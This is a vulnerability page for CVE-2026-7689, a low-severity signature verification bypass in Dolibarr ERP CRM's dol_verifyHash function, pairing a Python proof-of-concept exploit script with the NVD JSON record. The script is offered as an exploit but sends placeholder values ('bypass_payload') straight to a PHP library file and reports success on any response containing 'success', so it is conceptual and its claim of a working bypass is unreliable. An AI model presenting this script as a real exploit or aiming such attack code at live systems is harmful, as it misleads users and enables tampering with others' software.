CVE-2026-7689

# PoC for CVE-2026-7689: Dolibarr Signature Verification Bypass # This script demonstrates a conceptual bypass of the dol_verifyHash function. # The vulnerability allows remote attackers to bypass signature checks. import requests def exploit(target_url): # The vulnerable endpoint typically involves the online signature module endpoint = f"{target_url}/htdocs/core/lib/security.lib.php" # In a real scenario, specific parameters triggering the vulnerable function are needed. # Due to the 'improper verification', an empty or manipulated signature might be accepted. payload = { "module": "online_signature", "action": "verify", "data": "test_data", "signature": "bypass_payload" # Manipulated signature } try: response = requests.post(endpoint, data=payload, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print("[+] Exploit successful! Signature verification bypassed.") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1/dolibarr" exploit(target)

{"cve": {"id": "CVE-2026-7689", "sourceIdentifier": "[email protected]", "published": "2026-05-03T10:16:17.470", "lastModified": "2026-05-05T19:30:15.207", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Dolibarr ERP CRM up to 23.0.2. This vulnerability affects the function dol_verifyHash in the library htdocs/core/lib/security.lib.php of the component Online Signature Module. The manipulation results in improper verification of cryptographic signature. The attack may be performed from remote. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:N/I:P/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-345"}, {"lang": "en", "value": "CWE-347"}]}], "references": [{"url": "https://gist.github.com/Shaon-Xis/d6ae069fc54f006457b68a91d5a8e158", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/801794", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360859", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/360859/cti", "source": "[email protected]"}]}}